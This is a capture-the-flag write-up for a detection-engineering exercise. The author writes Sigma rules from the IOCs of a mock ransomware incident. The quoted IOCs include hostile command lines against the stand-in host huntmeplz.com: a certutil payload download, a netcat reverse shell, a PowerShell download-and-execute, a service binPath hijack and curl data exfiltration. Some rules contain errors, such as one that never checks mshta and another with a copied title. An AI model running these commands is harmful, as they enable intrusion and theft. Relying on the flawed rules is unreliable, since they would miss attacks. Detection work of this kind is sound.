Sighunt
You are tasked to create detection rules based on a new threat intel.
Scenario
You are hired as a Detection Engineer for your organization. During your first week, a ransomware incident has just concluded, and the Incident Responders of your organization have successfully mitigated the threat. With their collective effort, the Incident Response (IR) Team provided the IOCs based on their investigation. Your task is to create Sigma rules to improve the detection capabilities of your organization and prevent future incidents similar to this.
Challenge 1
• Execution of malicious HTA payload from a phishing link.
| Attack Technique | Indicators of Compromise | | — | — | | HTA payload | Parent Image: chrome.exe Image: mshta.exe Command Line: C:\Windows\SysWOW64\mshta.exe C:\Users\victim\Downloads\update.hta |
title: Malicious mshta
id: 0f06a3a5-6a09-413f-8743-e6cf35561291
status: experimental
description: Detecting Malicious mshta execution
author: void
date: 17/01/2023
logsource:
category: process_creation
product: windows
detection:
selection:
EventID: 1
ParentImage: '*chrome.exe'
condition: selection
level: high
Challenge 2
• Execution of Certutil tool to download Netcat binary.
Attack Technique | Indicators of Compromise |
---|---|
Certutil Download | Image: certutil.exe |
Command Line: certutil -urlcache -split -f http://huntmeplz.com/ransom.exe ransom.exe |
title: Certutil Download
id: 0f06a3a5-6a09-413f-8743-e6cf35561292
status: experimental
description: Detecting certutil file ingress
author: void
date: 17/01/2023
logsource:
category: process_creation
product: windows
detection:
selection:
EventID: 1
CommandLine|contains|all:
- "certutil"
- "-urlcache"
- "-split"
- "-f"
Image|endswith: "certutil.exe"
condition: selection
level: high
Challenge 3
• Netcat execution to establish a reverse shell.
| Attack Technique | Indicators of Compromise | | — | — | | Netcat Reverse Shell | Image: nc.exe Command Line: C:\Users\victim\AppData\Local\Temp\nc.exe huntmeplz.com 4444 -e cmd.exe MD5 Hash: 523613A7B9DFA398CBD5EBD2DD0F4F38 |
title: Netcat Execution
id: 0f06a3a5-6a09-413f-8743-e6cf35561293
status: experimental
description: Detecting netcat reverse shell
author: void
date: 17/01/2023
logsource:
category: process_creation
product: windows
detection:
selection1:
Image|endswith: '*nc.exe'
EventID: 1
CommandLine|contains|all:
- ' -e '
- 'cmd.exe'
selection2:
Hashes|contains: '523613A7B9DFA398CBD5EBD2DD0F4F38'
condition: selection1 or selection2
level: high
Challenge 4
• Enumeration of privilege escalation vectors through PowerUp.ps1.
Attack Technique | Indicators of Compromise |
---|---|
PowerUp Enumeration | Image: powershell.exe |
Command Line: powershell “iex(new-object net.webclient).downloadstring(‘http://huntmeplz.com/PowerUp.ps1’); Invoke-AllChecks;” |
title: PowerUp Enumeration
id: 0f06a3a5-6a09-413f-8743-e6cf35561294
status: experimental
description: Detecting powerup enumeration
author: void
date: 17/01/2023
logsource:
category: process_creation
product: windows
detection:
selection:
EventID: 1
Image|endswith: '*powershell.exe'
CommandLine|contains|all:
- 'PowerUp.ps1'
- 'powershell '
- 'Invoke-AllChecks'
condition: selection
level: high
Challenge 5
• Abused service modification privileges to achieve System privileges.
Attack Technique | Indicators of Compromise |
---|---|
Service Binary Modification | Image: sc.exe |
Command Line: sc.exe config SNMPTRAP binPath= “C:\Users\victim\AppData\Local\Temp\rev.exe huntmeplz.com 4443 -e cmd.exe” |
title: Service Binary Modification
id: 0f06a3a5-6a09-413f-8743-e6cf35561295
status: experimental
description: Detecting service binary privesc
author: void
date: 17/01/2023
logsource:
category: process_creation
product: windows
detection:
selection:
EventID: 1
Image|endswith: '*sc.exe'
CommandLine|contains|all:
- ' binPath= '
- ' -e '
- ' config '
condition: selection
level: high
Challenge 6
• Abused service modification privileges to achieve System privileges.
Attack Technique | Indicators of Compromise |
---|---|
RunOnce Persistence | Image: reg.exe |
Command Line: reg add “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce” /v MicrosoftUpdate /t REG_SZ /d “C:\Windows\System32\cmdd.exe” |
title: Service Binary Modification
id: 0f06a3a5-6a09-413f-8743-e6cf35561296
status: experimental
description: Detecting service binary privesc
author: void
date: 17/01/2023
logsource:
category: process_creation
product: windows
detection:
selection:
EventID: 1
Image|endswith: '*reg.exe'
CommandLine|contains|all:
- ' add '
- 'RunOnce'
condition: selection
level: high
Challenge 7
• Collected sensitive data by archiving via 7-zip.
Attack Technique | Indicators of Compromise |
---|---|
7-zip Collection | Image: 7z.exe |
Command Line: 7z a exfil.zip * -p |
title: 7z archive
id: 0f06a3a5-6a09-413f-8743-e6cf35561297
status: experimental
description: Detecting 7z suspicious archive
author: void
date: 17/01/2023
logsource:
category: process_creation
product: windows
detection:
selection:
EventID: 1
Image|endswith: '*7z.exe'
CommandLine|contains|all:
- ' a '
- '-p'
condition: selection
level: high
Challenge 8
• Exfiltrated sensitive data through cURL binary.
Attack Technique | Indicators of Compromise |
---|---|
cURL Exfiltration | Image: curl.exe |
Command Line: curl -d @exfil.zip http://huntmeplz.com:8080/ |
title: Curl Data Exfiltration
id: 0f06a3a5-6a09-413f-8743-e6cf35561298
status: experimental
description: Detecting Curl Data Exfiltration
author: void
date: 17/01/2023
logsource:
category: process_creation
product: windows
detection:
selection:
EventID: 1
Image|endswith: '*curl.exe'
CommandLine|contains|all:
- ' -d '
condition: selection
level: high
Challenge 9
• Executed ransomware with huntme as the file extension.
Attack Technique | Indicators of Compromise |
---|---|
Ransomware File Encryption | Image: ransom.exe |
Target Filename: *.huntme |
title: Ransomware File Encryption
id: 0f06a3a5-6a09-413f-8743-e6cf35561299
status: experimental
description: Detecting Ransomware File Encryption
author: void
date: 17/01/2023
logsource:
category: process_creation
product: windows
detection:
selection:
EventID: 11
TargetFilename: '*huntme'
condition: selection
level: high
Overall these were some fun little challenges.